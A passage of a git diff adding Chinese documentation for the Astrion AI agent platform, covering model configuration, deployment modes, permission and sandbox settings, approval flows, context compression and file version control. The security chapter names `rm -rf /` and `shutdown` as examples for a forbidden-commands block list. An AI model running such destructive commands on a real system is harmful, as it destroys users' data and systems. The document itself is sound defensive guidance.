唯一配置文件(优先级最高) +├── config/ ← 部署级配置(模型库等,host/web 共享) +├── host/ ← host 模式的数据 +│ ├── data/ users/ logs/ api/ +└── web/ ← web/docker 模式的数据(结构同上) +``` + +按运行模式自动分流:`TERMINAL_SANDBOX_MODE=host` 时数据进 `host/`,否则进 `web/`。 + +### 路径相关环境变量(优先级从高到低) + +| 环境变量 | 作用 | +|----------|------| +| `DATA_DIR` / `LOGS_DIR` / `USER_SPACE_DIR` / `API_USER_SPACE_DIR` | 单独覆盖某一个目录(最高优先级) | +| `ASTRION_DATA_ROOT` | 整体搬迁数据根目录(默认 `~/.astrion/astrion`) | +| `DEPLOY_CONFIG_DIR` | 单独搬迁部署级配置目录(默认 `<数据根>/config/`) | + +具体目录变量支持相对路径(相对仓库根目录展开)、绝对路径与 `~`。 + +### 配置优先级 + +同名配置生效顺序:**`<数据根>/settings.json` > 系统环境变量 > 仓库根目录 `.env` > 代码默认值**。 + +`.env` 加载时不覆盖已存在的系统环境变量;`settings.json` 是推荐的生产配置方式,例如: + +```json +{ + "server": { "port": 8091, "host": "127.0.0.1" } +} +``` + +--- + +## 5. 配置主智能体模型 + +主智能体的模型统一在 **`custom_models.json`** 中注册。 + +**放置位置**(按回退链查找,找到即止): + +1. `<数据根>/config/custom_models.json`(生产推荐) +2. 仓库内 `config/custom_models.json` +3. 仓库内 `config/custom_models.json.example`(种子示例) + +**完整字段说明**: + +```json +{ + "models": [ + { + "model_name": "Kimi-K3", + "description": "展示给用户的模型描述", + "visible": true, + "url": "${API_BASE_KIMI}", + "apikey": "${API_KEY_KIMI}", + "multimodal": "image,video", + "reasoning_capability": "fast,thinking", + "reasoning_effort": true, + "context_window": 1048576, + "max_output_tokens": 64000, + "thinkmode_status": { + "type": "param_toggle", + "model_id": "k3", + "fast_extra_parameter": { "thinking": { "type": "disabled" } }, + "thinking_extra_parameter": { "thinking": { "effort": "max" } } + }, + "extra_parameter": {}, + "model_description": "注入系统提示词的模型自我描述" + } + ] +} +``` + +| 字段 | 必填 | 说明 | +|------|------|------| +| `model_name` | ✅ | 模型条目名,UI 中显示,也是各配置引用它的 key | +| `url` | ✅ | API 基础地址。**支持 `${环境变量}` 引用**,密钥不要写明文 | +| `apikey` | ✅ | API Key,同样支持 `${...}` | +| `description` | | 列表中展示的说明文字 | +| `visible` | | 是否在模型选择菜单中可见 | +| `multimodal` | | `image,video` 等;决定输入栏是否允许发图/视频 | +| `reasoning_capability` | | `fast,thinking`;决定思考模式可选项 | +| `reasoning_effort` | | 是否支持「推理强度」滑块 | +| `context_window` | | 上下文窗口大小(token),压缩阈值、用量统计以此为基准 | +| `max_output_tokens` | | 单次最大输出 token | +| `thinkmode_status` | | `param_toggle` 类型:`model_id` 为真实模型 ID;`fast/thinking_extra_parameter` 为两种模式下分别附加的请求参数 | +| `extra_parameter` | | 所有请求都附加的额外参数 | +| `model_description` | | 注入系统提示词的自我介绍 | + +**最小配置**只需要 4 个字段:`model_name` / `url` / `apikey` / `thinkmode_status.model_id`,其余字段均有默认值。 + +> 提醒:`setup.sh` 向导在第 5 步创建的模型条目就是最小配置——`multimodal` 为 `none`(不能发图/视频)、`context_window` 固定 128000、`max_output_tokens` 32768。如果你的模型支持多模态或更大上下文,配完向导后请手动编辑 `<数据根>/config/custom_models.json` 补齐字段。 + +**默认模型**:不设 `AGENT_DEFAULT_MODEL` 时使用列表中第一个可见模型;也可以在个人空间「模型与思考」页设置每用户默认模型。 + +> 注意:旧版的 `AGENT_API_*` / `AGENT_THINKING_*` / `AGENT_TITLE_*` 环境变量已从代码中移除,配置它们不再有任何效果。 + +--- + +## 6. 配置子智能体模型 + +子智能体(含三个审核智能体)使用**独立的模型库**:`sub_agent_models.json`。 + +**放置位置**:仅从部署配置目录读取——`<数据根>/config/sub_agent_models.json`(可用 `SUB_AGENT_MODELS_CONFIG_FILE` 单独覆盖)。**没有这个文件,子智能体将无法启动**,会直接报「未找到可用子智能体模型配置」。 + +**结构**: + +```json +{ + "default_model": "deepseek-v4-flash", + "models": [ + { + "name": "deepseek-v4-flash", + "url": "${SUB_AGENT_API_BASE}", + "apikey": "${SUB_AGENT_API_KEY}", + "model_id": "deepseek-v4-flash", + "modes": "fast,thinking", + "multimodal": "image", + "max_output": 32000, + "max_context": 128000, + "extra_parameter": {}, + "fast_extra_parameter": {}, + "thinking_extra_parameter": {} + } + ] +} +``` + +要点: + +- `default_model`:默认条目名;子智能体/审核智能体配置里 `model` 留空时用它。若指定的名字不存在,回退到列表中第一个可用条目。 +- 字段名做了宽松兼容:`name`/`model_name`/`model`、`url`/`base_url`、`apikey`/`api_key` 均可;`modes` 写 `fast,thinking` 表示支持思考模式,只写 `fast` 表示纯快速模式。 +- 也支持与主模型库相同的 `thinkmode_status` 结构,可以直接从 `custom_models.json` 复制条目改名字用。 +- `url` / `apikey` 同样支持 `${环境变量}` 引用。 + +**子智能体相关环境变量**: + +| 变量 | 默认 | 说明 | +|------|------|------| +| `SUB_AGENT_MAX_ACTIVE` | 5 | 同时运行的子智能体上限 | +| `SUB_AGENT_DEFAULT_TIMEOUT` | 180(秒) | 默认超时 | +| `SUB_AGENT_TASKS_BASE_DIR` | `<数据根>/<模式>/data/sub_agent_tasks` | 任务目录 | +| `SUB_AGENT_PROJECT_RESULTS_DIR` | `<工作区>/sub_agent_results` | 交付目录(有意放在工作区内) | + +--- + +## 7. 选择运行模式:host 还是 docker(web) + +由 `TERMINAL_SANDBOX_MODE` 决定,两种模式面向完全不同的场景: + +| | **host 模式** | **web/docker 模式** | +|---|---|---| +| 定位 | 本地个人使用 | 服务器多用户部署 | +| 命令执行 | 宿主机 OS 沙箱(macOS sandbox-exec / Linux bwrap / Windows WSL2) | 每个用户独立 Docker 容器 | +| 数据目录 | `~/.astrion/astrion/host/` | `~/.astrion/astrion/web/` | +| 前置准备 | 无需镜像;Windows 需先装 WSL2 | 必须先构建镜像:`docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .`(构建上下文必须是仓库根) | +| 镜像名 | — | 由 `TERMINAL_SANDBOX_IMAGE` 指定,建议 `my-agent-shell:latest` | + +选择建议: + +- **一个人在自己电脑上用** → `host`。文件管理器、本地工具链直接可用,体验最好。 +- **部署到服务器给多人用** → `docker`。容器天然隔离用户之间的文件与进程。 +- host 模式可以同时读取 web 模式的数据(用户列表、工作区合并显示),反向不行。 + +沙箱镜像基于 `python:3.11-slim`,内置 LibreOffice / Pandoc / FFmpeg / Tesseract OCR(含中文)/ Chromium / Node 20 / docx / pptxgenjs 等常用工具链。**程序不会自动构建镜像**,web 模式启动前必须手动构建一次。 + +--- + +## 8. 首次启动检查清单 + +1. 浏览器打开 `http://localhost:8091`,用管理员账户登录; +2. 进入个人空间,确认「模型与思考」页能看到你配置的模型; +3. 随便发一条消息,确认主智能体能正常回复; +4. 让主智能体创建一个子智能体(或直接说「帮我查一下 xxx」触发),确认 `sub_agent_models.json` 配置正确; +5. 若是 web 模式,确认镜像已构建、终端容器能正常拉起。 + +到这里,你的 Astrion 已经可以正常工作了。接下来建议阅读《核心概念》,理解部署模式、权限模式、执行环境、运行模式这四组概念——它们决定了 Astrion 的行为边界。 diff --git a/content/02-core-concepts.md b/content/02-core-concepts.md new file mode 100644 index 0000000..226291f --- /dev/null +++ b/content/02-core-concepts.md @@ -0,0 +1,111 @@ +# 核心概念 + +Astrion 有四组**相互正交**的概念,理解它们是理解整个系统的钥匙。它们两两组合决定了一次任务「能做什么、在哪跑、做到什么程度」: + +| 概念组 | 取值 | 决定什么 | 在哪里切换 | +|--------|------|----------|------------| +| **部署模式** | host / docker(web) | 数据存哪、命令在宿主机还是容器里跑 | 环境变量(部署时确定) | +| **权限模式** | readonly / approval / auto_approval / unrestricted | AI 的工具调用要不要经过批准 | 输入栏权限菜单(对话级) | +| **执行环境** | sandbox / direct | 命令是否经过 OS 沙箱 | 输入栏权限菜单(对话级,仅 host 模式) | +| **运行模式** | plan / ask / execute | AI 与你的交互节奏:先出计划还是直接干活 | 输入栏运行模式切换器(对话级) | + +--- + +## 1. 部署模式:host vs docker(web) + +部署模式在**启动前**由环境变量 `TERMINAL_SANDBOX_MODE` 决定,运行中不可切换。 + +- **host 模式**:面向本地个人使用。命令通过宿主机 OS 沙箱执行,AI 可以直接操作你授权的本机目录(比如真实的项目仓库),文件管理器、本地 Node/Python 工具链直接可用。 +- **docker 模式(web 模式)**:面向服务器多用户部署。每个用户的终端命令在独立的 Docker 容器里执行,用户之间文件与进程天然隔离。需要先构建沙箱镜像(见《快速上手》)。 + +两者的数据目录完全分开(`~/.astrion/astrion/host/` 与 `web/`),但 host 模式会**合并读取** web 模式的用户与工作区列表——同一台机器上两种模式的历史数据都能看到。 + +> 注意:docker 模式目前**没有**与宿主机同等的 OS 级只读沙箱机制。容器本身就是隔离边界,但「只读沙箱→审批→单次可写重试」这套两段式流程是 host 模式专属。 + +## 2. 权限模式:AI 能做什么 + +权限模式是**产品层**开关,决定工具调用是否被拦截、是否需要批准。按对话切换,随时可改。 + +### readonly(只读) + +- `run_command` 允许调用,但在**只读沙箱**中执行;一旦触发写入,操作系统直接返回权限拒绝(如 `Operation not permitted`)。 +- `write_file` / `edit_file` 等写入类工具**直接拒绝**。 +- 适用:让 AI 只做代码审查、只读分析、回答问题时。 + +### approval(批准,推荐默认) + +- `run_command` 走**两段式**:先在只读沙箱执行 → 若出现权限拒绝,向前端发起审批 → 你批准后,**仅该条命令**以可写沙箱重试一次。 +- 工具返回的是重试后的最终结果,AI 不会看到中间的拒绝过程。 +- 审批拒绝或超时:本次不执行,不写入。 + +### auto_approval(自动审核) + +- 与 approval 相同的「只读优先」流程,但审批者是**自动审批智能体**(一个独立的 AI,可在个人空间配置它的模型与参数)。 +- `write_file` / `edit_file`:目标在工作区内直接执行;工作区外进入自动审批。 +- 自动审批拒绝时,AI 收到「被拒绝 + 理由」后继续尝试别的路径,不会中断整轮任务。 +- 你可以随时人工接管:同意 / 拒绝 / 切换为无限制。 + +### unrestricted(无限制) + +- 权限层不做任何拦截,工具直接执行。 +- 此时安全边界完全由执行环境决定(见下节):sandbox 下仍有 OS 沙箱兜底,direct 下等于裸奔。 + +## 3. 执行环境:sandbox vs direct + +执行环境是**系统层**开关(仅 host 模式可切换),决定命令最终是否经过 OS 沙箱: + +- **sandbox(默认)**:命令在 OS 沙箱中执行,读写边界由「路径授权」限定。沙箱不可用时关键执行路径会**拒绝执行**,不会静默回退到裸宿主机。 +- **direct(高风险)**:命令直接在宿主机执行,无任何沙箱限制。仅建议明确需要系统级权限时**短时**开启,用完立即切回。切换后一直生效,没有自动回退机制。 + +### 各平台沙箱实现与安全水位(请务必阅读) + +| 平台 | 实现 | 安全水位 | +|------|------|----------| +| **Windows** | WSL2 | **可以做到完全的数据隔离**——命令跑在独立的 WSL2 文件系统中。前提是**先自行安装 WSL2**,未安装时沙箱不可用 | +| **macOS** | sandbox-exec | **能限制写入,但无法保证数据不泄露**——macOS 沙箱策略下文件系统对进程全局可读,AI 执行的命令仍可能读到你的私人文件。涉及敏感数据时请谨慎 | +| **Linux** | bubblewrap (bwrap) + seccomp | **尚未经过实际测试**,不建议在生产环境依赖其隔离性 | + +这是官方对当前安全能力的如实说明:把沙箱当作「防误操作」的手段是可靠的;把它当作「防恶意窃取数据」的手段,目前只有 Windows(WSL2)路径可以信赖。 + +### 路径授权 + +host 模式下,沙箱的文件访问边界由路径授权决定,分两类: + +- **可读可写路径**:AI 可以读也可以改; +- **仅可读路径**:AI 能看但不能改。 + +关系:`可读集合 = 可读可写 + 仅可读`;`可写集合 = 可读可写`。在输入栏 `+` 菜单 →「路径授权」中维护。推荐保持最小授权:工作区 + 临时目录。 + +> 终端会话(terminal 系列工具)在启动时绑定当时的执行环境与沙箱策略;**切换执行环境(sandbox ⇄ direct)、切换工作区或容器时,现有终端会话会被直接关闭**,随后在重新拉起的会话中按新策略执行。 + +### 网络权限 + +独立于文件沙箱的另一组开关(plan 模式下也可调): + +- **受限**(默认):仅允许本地回环访问,外部网络不可达; +- **完全开放**:允许所有出站/入站连接。 + +## 4. 运行模式:AI 与你的交互节奏 + +运行模式控制 AI **什么时候动手、什么时候先问你**,与权限完全正交。仅空闲时可切换(任务运行中切换会收到 409 提示)。 + +- **plan(计划)**:只制定计划并与你讨论,不实际改东西。此模式下权限被**锁定为只读**、执行环境**锁定为沙箱**(UI 禁用 + 后端双重强制,网络权限除外)。唯一例外是写 `.astrion/plan/*.md` 计划文档。计划写完后 AI 会调用 `submit_plan` 请你批准;**批准即自动切换到 execute** 并恢复你之前的权限设置。 +- **ask(询问)**:先讨论后开工。AI 把方案、疑问写在回复里与你来回确认,关键细节拍板后才动手。执行层面与 execute 无差异,只是交互节奏不同。 +- **execute(执行)**:AI 自行梳理计划、补全细节,直接开工,只有遇到硬阻塞(缺信息、需要账号密码等)才提问。 + +### 常见组合 + +| 场景 | 推荐组合 | +|------|----------| +| 让 AI 改你正在维护的重要项目 | plan + approval + sandbox | +| 日常随手用、追求效率 | execute + auto_approval + sandbox | +| 纯问答/代码评审,绝不许动文件 | 任意模式 + readonly(执行环境自动锁沙箱) | +| 服务器多用户部署 | docker 模式(执行环境概念不适用) | + +## 5. 四组概念的联动规则速查 + +1. plan 模式 → 权限强制 readonly、执行环境强制 sandbox(网络权限仍可调); +2. readonly 权限 → 执行环境自动锁定为 sandbox(direct 无意义); +3. 批准 plan 计划 → 自动切 execute 并恢复进入 plan 前的权限与执行环境; +4. docker 模式下没有 sandbox/direct 之分,容器即边界; +5. 权限模式、执行环境、运行模式都是**对话级**状态:新对话继承当前输入栏的取值,个人空间里的「默认权限模式 / 默认运行模式」只影响首次构造。 diff --git a/content/03-conversations.md b/content/03-conversations.md new file mode 100644 index 0000000..6c9c40e --- /dev/null +++ b/content/03-conversations.md @@ -0,0 +1,76 @@ +# 对话 + +本章讲「一个对话」本身的能力:对话类型、思考模式、目标模式,以及对话过程中可用的几个面板功能。 + +--- + +## 1. 对话类型:普通 vs 多智能体 + +创建对话时选定,**创建后不可变**: + +- **普通对话(智能体)**:你与一个主智能体对话,它可以按需在后台派出子智能体干活。 +- **多智能体对话**:主智能体固定为 **Team Leader**,不亲自干活,而是创建多个带角色的子智能体(如 Full-Stack Engineer、UI Operator),在它们之间派活、收汇报、做决策。子智能体之间也可以互相通信,但每次沟通都会同步汇报给 Team Leader,不存在"私下串通"。 + +切换入口:空对话时输入栏底行 `+` 右侧的对话类型选择器;侧边栏的列表过滤器则决定你在列表里看哪一类对话。 + +多智能体的完整玩法见《智能体能力》一章。 + +## 2. 思考模式与推理强度 + +两个独立开关,都作用于当前对话: + +- **思考模式**:`快速(fast)` / `思考(thinking)`。快速模式追求响应速度、跳过思考过程;思考模式整轮对话使用思考模型。输入栏可切换,个人空间可设默认值。 +- **推理强度(Effort)**:`默认 / 低 / 中 / 高` 滑块(需模型配置里 `reasoning_effort: true` 才会出现)。「默认」表示不指定强度,使用 API 自身默认行为;拖动滑块可实时调整思考的深度档位。 + +> 模型的多模态能力(能否发图片/视频)由 `custom_models.json` 中该模型的 `multimodal` 字段决定;思考模式可选项由 `reasoning_capability` 决定。 + +## 3. 目标模式(Beta) + +> ⚠️ 目标模式是 **beta 功能**:机制完整可用,但边界情况(多对话并发时的 token 统计、异常中断恢复等)仍在打磨,请带着预期使用并反馈问题。 + +普通对话里,AI 完成你交代的一轮任务就停了。**目标模式**让 AI 围绕一个长期目标**自动一轮一轮干下去**,直到目标达成或触顶停止。 + +**用法**: + +1. 输入栏 `+` 菜单 →「目标模式」,进入「已就绪」状态; +2. 你发送的下一条消息会被当作**目标**(而不是普通任务); +3. AI 围绕目标自动连续工作:每轮结束后自我评估「目标达成了吗」,没达成就继续下一轮; +4. 达成、触顶或你手动取消时停止。 + +**结束条件**(个人空间可配,可多选): + +- `max_turns`:最多自动续 N 轮(有默认值,可调); +- `max_tokens`:累计(输入+输出)token 上限,默认不启用。注意该统计是**工作区级**的,多对话并发时是近似值。 + +**目标审核**:可选配一个目标审核智能体(个人空间「审核智能体」页的 `goal_review`),两种审核模式: + +- `readonly`(默认):审核智能体只读对话内容来判断目标进度; +- `active`:允许它跑只读命令取证(比如检查文件是否真的生成了)再下结论。 + +目标状态按对话独立持久化(`goal_states/<对话ID>.json`),切换对话、上下文压缩、重启服务都不会丢失目标进度。 + +## 4. 对话面板:回顾 / 用量 / 实时终端 + +输入栏 `+` 菜单里的三个面板型功能(它们只是信息面板,**与安全机制无关**): + +- **对话回顾**:打开当前对话的回顾视图,按时间线回看这次对话做了什么。 +- **用量统计**:上下文与 token 用量面板,看当前对话的上下文占用、累计消耗。 +- **实时终端**:打开实时终端面板,直接看到 AI 正在执行的终端会话实况——它正在跑什么命令、输出是什么。这是观察窗口,不是安全边界;真正的安全控制请看《执行与安全》。 + +## 5. 对话管理 + +- **搜索**:侧边栏顶部搜索框,按标题与内容检索对话。 +- **平铺 / 分组视图**:侧边栏可以平铺所有对话,也可以按工作区分组(个人空间「外观与显示」→ 侧边栏分组)。分组模式下支持工作区置顶与排序。 +- **类型过滤**:侧边栏的类型切换器(普通 / 多智能体)决定列表里显示哪类对话。 +- **新建对话按钮行为**:个人空间可选——点击 `+` 是「跳转到空白新对话页」(route)还是「立即创建空对话」(blank)。 +- **自动标题**:默认开启,首轮对话后自动生成标题;可在个人空间关闭。 + +## 6. 对话显示模式 + +个人空间「外观与显示」提供三种消息流显示模式: + +- **传统列表**:所有消息平铺; +- **堆叠动画**(默认):工具调用等中间块堆叠收纳,主干对话更清爽; +- **极简模式**:最克制的显示,只看要点。 + +另有「完整信息 / 简略信息」控制简略消息的展开程度,以及助手状态形象(戳一戳有彩蛋)等显示开关。 diff --git a/content/04-input-context.md b/content/04-input-context.md new file mode 100644 index 0000000..4ffa33a --- /dev/null +++ b/content/04-input-context.md @@ -0,0 +1,89 @@ +# 输入与上下文 + +本章讲输入栏的两个菜单、文件引用、上传,以及 Astrion 的上下文管理体系——包括压缩机制的正确用法。 + +--- + +## 1. `+` 快捷菜单(完整功能清单) + +点击输入栏左侧 `+` 打开。完整功能一览: + +| 功能 | 说明 | +|------|------| +| 新建对话 | 开始一个新对话(等价 `new` / `clear`) | +| 上传文件 | 选择本地文件上传到工作区 | +| 发送图片 / 发送视频 | 附加到消息;**当前模型不支持多模态时禁用**(取决于 `multimodal` 配置) | +| 压缩对话 | 手动触发一次上下文压缩 | +| 选择 AgentSkill | 插入一个 Skill 引用(等价输入 `//` 快捷直达) | +| 工作流 | 激活一个工作流,让智能体按既定流程推进 | +| 对话类型 | 空对话时切换「智能体 / 多智能体」(创建后不可变) | +| 切换工作模式 | plan / ask / execute | +| 切换主题 | 经典 / 明亮 / 夜间 | +| 对话回顾 | 打开当前对话回顾 | +| 用量统计 | 上下文与 token 用量面板 | +| 目标模式 | 切换目标模式(Beta,见《对话》章) | +| 个人设置 | 打开个人空间 | +| 实时终端 | 打开实时终端面板 | +| 切换模型 | 选择本对话使用的模型 | +| 思考模式 | 切换 fast / thinking | +| 权限模式 | 切换 readonly / approval / auto / unrestricted | +| 网络权限 | 受限 / 完全开放(plan 模式下也可调) | +| 执行环境 | sandbox / direct(仅 host 模式) | +| 切换工作区 / 项目 | 切换当前对话绑定的工作区 | +| 版本控制 | 开/关本对话的版本控制 | +| Git 状态栏 | 显示/隐藏输入栏上方的 Git 状态条 | +| 路径授权 | 查看和管理沙箱路径授权 | +| 审批面板 | 查看审批记录 | + +## 2. `/` 斜杠菜单 + +在输入框输入 `/` 触发斜杠直达菜单,用关键字快速过滤并直达某一类选项,目前支持 12 类:AgentSkills(`//` 直达)、工作流、主题、权限模式、执行环境、模型、思考模式、网络权限、工作模式、工作区、对话类型等。 + +典型用法:`/skill` 选技能、`/workflow` 选工作流、`/model` 切模型——比在 `+` 菜单里翻要快。 + +## 3. `@` 文件引用 + +输入 `@` 唤起文件菜单,从工作区中选择文件/目录插入引用。被引用的文件会作为上下文提供给智能体,适合「就这个文件展开讨论」的场景。图片类文件引用会按多模态能力处理。 + +## 4. 上下文压缩:浅压缩与深压缩 + +长对话迟早会触及模型上下文上限,Astrion 提供两级自动压缩 + 手动压缩: + +### 浅压缩(默认关闭) + +- 机制:把较早的**工具调用结果替换为占位符**(保留最近 N 个工具结果不压),立刻腾出空间。 +- 触发:默认累计 80k tokens 触发(可调),另有「每 N 次工具调用」「每轮最多替换 N 个」「保留最近 N 次用户输入后的工具不压」等细调参数。 +- ⚠️ **重要代价:浅压缩会改动历史消息内容,从而破坏服务商侧的上下文缓存(prompt cache)**——压缩后的几轮请求将无法命中缓存,表现为响应变慢、费用上升。这是它默认关闭的原因。 + +### 深压缩(默认开启,推荐) + +- 机制:对整段历史做**深度总结**,旧上下文整体替换为浓缩摘要后轻装继续。 +- 产物形式可选(`deep_compress_form`):`file`——总结写入文件,需要时随时回读(默认);`inject`——直接把总结全文注入上下文。 +- 触发:默认 150k tokens。 + +### 自定义阈值的 80% 规则(务必遵守) + +如果你要自定义压缩触发阈值,**至少设为所用模型实际可用上下文的 80%**。 + +例如模型实际上下文是 128k,触发阈值不应低于约 102k。阈值设得太低会频繁触发压缩:既浪费 token,又频繁破坏上下文缓存,还会让 AI 过早丢失细节记忆。让对话尽量「用满窗口再压缩」才是性价比最高的用法。 + +> 模型的实际上下文窗口以 `custom_models.json` 中该模型的 `context_window` 为准;注意区分「标称上下文」与「实际可用上下文」(部分 API 会预留输出空间)。 + +### 手动压缩 + +`+` 菜单 →「压缩对话」随时可手动触发,适合你预判接下来要开新话题、主动腾空间的场景。 + +## 5. 上下文注入类功能 + +这些功能影响每轮对话自动携带的上下文,都在个人空间配置: + +- **最近对话提示**(默认关闭):开启后,新对话自动把最近 N 条历史对话的摘要注入上下文(N 可配,1–30,默认 10)。适合「我最近一直在折腾同一个项目」的连续工作流;与「对话连续性」个性化设置配合使用。 +- **AGENTS.md 自动注入**(默认关闭):开启后自动把项目根目录的 AGENTS.md 注入上下文,让 AI 始终带着项目规范工作。 +- **项目记忆索引注入**:AI 的项目记忆索引默认最多注入 20 条(5 起,可设为无上限)。记忆内容由 AI 在工作过程中主动沉淀。 +- **Skill 提示**(默认关闭):根据当前任务动态提示可能相关的 Skill。 + +## 6. 上传与多模态 + +- **上传文件**:进入工作区,AI 后续可读取处理; +- **发送图片/视频**:随消息直接进入多模态上下文; +- 图片压缩档位(个人空间):`原图 / 1080p / 720p / 540p`,默认原图。长对话里多发大图建议降档,节省上下文。 diff --git a/content/05-execution-security.md b/content/05-execution-security.md new file mode 100644 index 0000000..1369ce2 --- /dev/null +++ b/content/05-execution-security.md @@ -0,0 +1,84 @@ +# 执行与安全 + +本章讲 Astrion 如何安全地执行 AI 发起的操作:沙箱执行的实际行为、路径授权、审批机制。概念层面的四组开关(部署/权限/执行环境/运行模式)请先看《核心概念》,本章聚焦具体行为与日常管理。 + +> 范围说明:「实时终端」只是观察面板,与安全机制无关,见《对话》一章。 + +--- + +## 1. 命令是怎么被执行的(host 模式) + +### run_command:两段式执行 + +以默认推荐的 `approval` 模式为例,一条 AI 发起的 shell 命令的实际旅程是: + +1. **先在只读沙箱执行**——能读不能写; +2. 如果命令没碰写操作,直接返回结果,全程无感; +3. 如果触发权限拒绝(要写文件、要改系统),**自动转为向你发起审批**; +4. 你批准后,**仅这一条命令**以可写沙箱重试;你拒绝或超时未处理,则本次不执行; +5. AI 拿到的是最终结果,中间过程不干扰它的思路。 + +`auto_approval` 模式把第 3 步的审批者换成自动审批智能体;`unrestricted` 模式跳过审批直接执行;`readonly` 模式下写入类请求直接拒绝。 + +### 终端会话:切换即关闭 + +持久终端会话(terminal 系列工具)在启动时绑定当时的执行环境与沙箱策略。当你**切换执行环境(sandbox ⇄ direct)、切换工作区或容器**时,现有终端会话会被**直接关闭**——不会带着旧策略继续运行,后续操作在重新拉起的会话中按新策略执行。这也意味着:跑长任务时不要切换这些开关,任务会随会话一起终止。 + +### 子智能体与后台命令 + +子智能体的终端进程同样经过执行环境策略:sandbox 下经宿主机沙箱启动,direct 下直接宿主机启动;docker 模式则在容器内执行。后台命令(`run_in_background`)与前台命令走同一套只读/可写沙箱判定,**不会因为放后台就绕过权限**。 + +## 2. 路径授权的日常管理 + +入口:输入栏 `+` 菜单 →「路径授权」。 + +- **可读可写路径**:AI 的完整工作范围,通常就是你的项目目录; +- **仅可读路径**:允许 AI 参考但禁止修改,比如参考文档、线上配置样例、别的项目源码。 + +建议实践: + +1. 保持最小授权——只加当前任务需要的目录; +2. 敏感目录(`~/.ssh`、密钥库、系统目录)永远不要加入任何一类; +3. 任务性质变化时及时调整,授权是即时生效的(新终端会话除外,见上)。 + +## 3. 网络权限 + +输入栏权限菜单中独立的一组: + +- **受限**(默认):仅本地回环,AI 无法访问外部网络——适合纯本地任务,也杜绝了数据外发; +- **完全开放**:允许出站/入站连接——需要 AI 联网搜索、调外部 API、装依赖时开启。 + +网络权限与文件沙箱相互独立,且在 plan 模式下也可调整。 + +## 4. 审批面板 + +入口:`+` 菜单 →「审批面板」。这里能看到审批记录:哪些命令/写入被提请审批、谁批的(人工或自动审批智能体)、结果如何。`auto_approval` 模式下如果不想让面板自动弹出打扰,个人空间有开关(默认不自动打开)。 + +## 5. 禁止命令清单 + +部署级配置 `forbidden_commands.json`(放 `<数据根>/config/`)可以配置**绝对禁止执行的命令特征**,命中即拒,与权限模式无关。这是兜底防线,适合在服务器部署时封死 `rm -rf /`、`shutdown` 这类命令。 + +## 6. 关于 direct 模式的忠告 + +`direct` = 命令直接在宿主机执行,**没有任何沙箱**。合理使用场景只有一个:某条命令在沙箱里确实跑不了(需要系统级权限),且没有替代方案。此时: + +1. 临时切到 direct; +2. 跑完立即切回 sandbox; +3. 注意 direct 切换后**永久生效、不会自动回退**——忘记切回等于长期裸奔。 + +## 7. docker 模式的安全现状 + +docker 模式下,隔离边界是容器本身:每个用户的终端在独立容器中,互相不可见。但要注意: + +- 目前**没有**与 host 模式同等的 OS 级只读沙箱,「只读→审批→可写重试」两段式在容器内不适用,容器内的权限约束主要靠提示词层面的规范; +- 多用户部署时应配合容器资源限制、镜像最小化等常规容器安全实践。 + +## 8. 各平台安全水位 + +再次强调《核心概念》中的结论,因为它直接影响你该信任沙箱到什么程度: + +- **Windows(WSL2)**:可做到完全数据隔离,需先安装 WSL2; +- **macOS(sandbox-exec)**:能限制写入,但文件系统全局可读,**不能防止数据泄露**,请勿在可读范围内放置敏感数据; +- **Linux(bwrap+seccomp)**:**尚未实测**,不要依赖其隔离性。 + +无论哪个平台,沙箱的首要价值是**防误操作**;涉及真正的敏感数据,请叠加路径授权最小化、网络受限、readonly 权限等手段综合防护。 diff --git a/content/06-conversation-assets.md b/content/06-conversation-assets.md new file mode 100644 index 0000000..04a5618 --- /dev/null +++ b/content/06-conversation-assets.md @@ -0,0 +1,68 @@ +# 对话资产管理 + +AI 改了你工作区的文件之后,「改了什么、怎么回滚、坏到哪一版」就是核心问题。Astrion 提供三层资产保障:**版本控制**(对话级检查点)、**修改留痕**(任务级 diff)、**Git 状态栏**(实时感知)。它们相互独立、可叠加使用。 + +--- + +## 1. 版本控制 + +对话级的文件检查点系统,让 AI 的每一轮改动都有快照可回退。 + +### 开关与备份方式 + +- 新对话**默认开启**(个人空间可改默认值); +- 单个对话可在 `+` 菜单 →「版本控制」临时开关; +- 备份方式二选一(个人空间): + - **浅备份(默认)**:只追踪 AI 通过 **write_file / edit_file** 编辑的文件,每次编辑前自动备份当前内容——快、省空间,绝大多数场景够用。⚠️ 注意边界:**AI 用 run_command 执行命令改动的文件(如 sed、重定向、脚本写入)不在浅备份的追踪范围内**; + - **完全备份**:整工作区快照——最稳,但大项目下会明显变慢占空间。 + +### 检查点粒度:每条用户消息 + +- 你**每手动发送一条消息**,系统在该消息处理完成后记录一个检查点,引用当时所有已追踪文件的最新备份版本——也就是说,回溯的最小颗粒度是「一次用户手动发送的消息」,而不是单个文件编辑; +- 查看某个检查点的 diff = 该消息快照与上一条消息快照之间的差异; +- **回滚**到某个检查点 = 把所有已追踪文件恢复到该消息时的状态(覆盖式,回滚前请确认当前改动已另存或已提交)。 + +### 与其他机制的关系 + +- 版本控制追踪的是**文件系统状态**,与对话消息无关; +- 它与 Git 不冲突:AI 不会替你 commit,版本控制是 Git 之外的另一张安全网,适合「还没来得及 commit 就被改坏了」的场景。 + +## 2. 修改留痕(modify history) + +任务级的净修改记录,**默认开启**。 + +- 每完成一轮任务,本轮对话中 AI 编辑过的全部文件以 **unified diff** 形式落盘到:`<工作区>/.astrion/modify_history/<对话ID>/`; +- 每个任务一个 `.diff` 文件,文件名含该任务的用户输入摘要与开始时间; +- 对话中的「编辑摘要卡片」展示本轮编辑过的文件列表,点击可查看 diff;卡片的显示时机可在个人空间配置(默认工作完成后显示,也可改为运行期间实时显示)。 + +### 用 diff 文件手工恢复 + +留痕文件可直接用 git 工具操作: + +```bash +cd <工作区> +git apply # 重做这次修改 +git apply -R # 撤销这次修改 +``` + +典型场景:版本控制没开、Git 没 commit、`git checkout` 误覆盖了 AI 的劳动成果——去 modify_history 里找到对应任务的 diff,`git apply` 即可恢复。 + +> 该目录由系统自动维护,请勿手工增删其中文件;可在个人空间整体关闭(关闭后既不落盘也不注入提示)。 + +## 3. Git 状态栏 + +输入栏上方的状态条,实时显示当前工作区的 Git 状态摘要(当前分支、未提交改动量等),让你在不离开对话的情况下掌握「工作区现在脏不脏、AI 改了多少」。 + +- 默认显示;`+` 菜单 →「Git 状态栏」可快速显隐,个人空间有同款设置项; +- 工作区不是 Git 仓库时不显示。 + +## 4. 三层机制怎么选 + +| 需求 | 用哪层 | +|------|--------| +| 实时感知工作区改动 | Git 状态栏 | +| 回滚到对话中的某个时间点 | 版本控制 | +| 